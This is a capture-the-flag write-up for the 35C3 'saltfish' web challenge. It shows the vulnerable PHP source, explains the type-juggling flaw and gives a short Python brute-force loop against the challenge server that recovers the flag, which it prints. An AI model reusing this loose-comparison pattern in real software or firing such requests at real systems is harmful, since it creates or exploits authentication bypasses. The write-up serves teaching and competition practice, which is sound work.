

45 lines (38 sloc) 1.39 KB

# saltfish

Web

## Description:

"I have been told that the best crackers in the world can do this under 60 minutes but unfortunately I need someone who can do this under 60 seconds." - Gabriel

## Solution:

The contents of the website is:

```
<?php
require_once('flag.php');
if ($_ = @$_GET['pass']) {
    $ua = $_SERVER['HTTP_USER_AGENT'];
    if (md5($_) + $_[0] == md5($ua)) {
        if ($_[0] == md5($_[0] . $flag)[0]) {
            echo $flag;
        }
    }
} else {
    highlight_file(__FILE__);
}
```

Let  $p$  denote the first letter of the password. The MD5 of the password plus (note: in PHP this is treated as addition, not string append which is ".")  $p$  need to be equal the MD5 of the string sent by the user agent. Then,  $p$  needs to be equal to the first letter of the MD5 of  $p$  concatenated with the flag.

The simplest strategy is to just brute force:

```
for x in string.ascii_letters:
    password = x
    r = requests.get('http://35.207.89.211/?pass={}'.format(password), headers={'User-Agent': password})
    print(r.text)
```

The flag is printed after the second attempt:

```
<br />
<b>Warning</b>: A non-numeric value encountered in <b>/var/www/html/index.php</b> on line <b>5</b><br />

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35c3_password_saltfish_30_seconds_max
```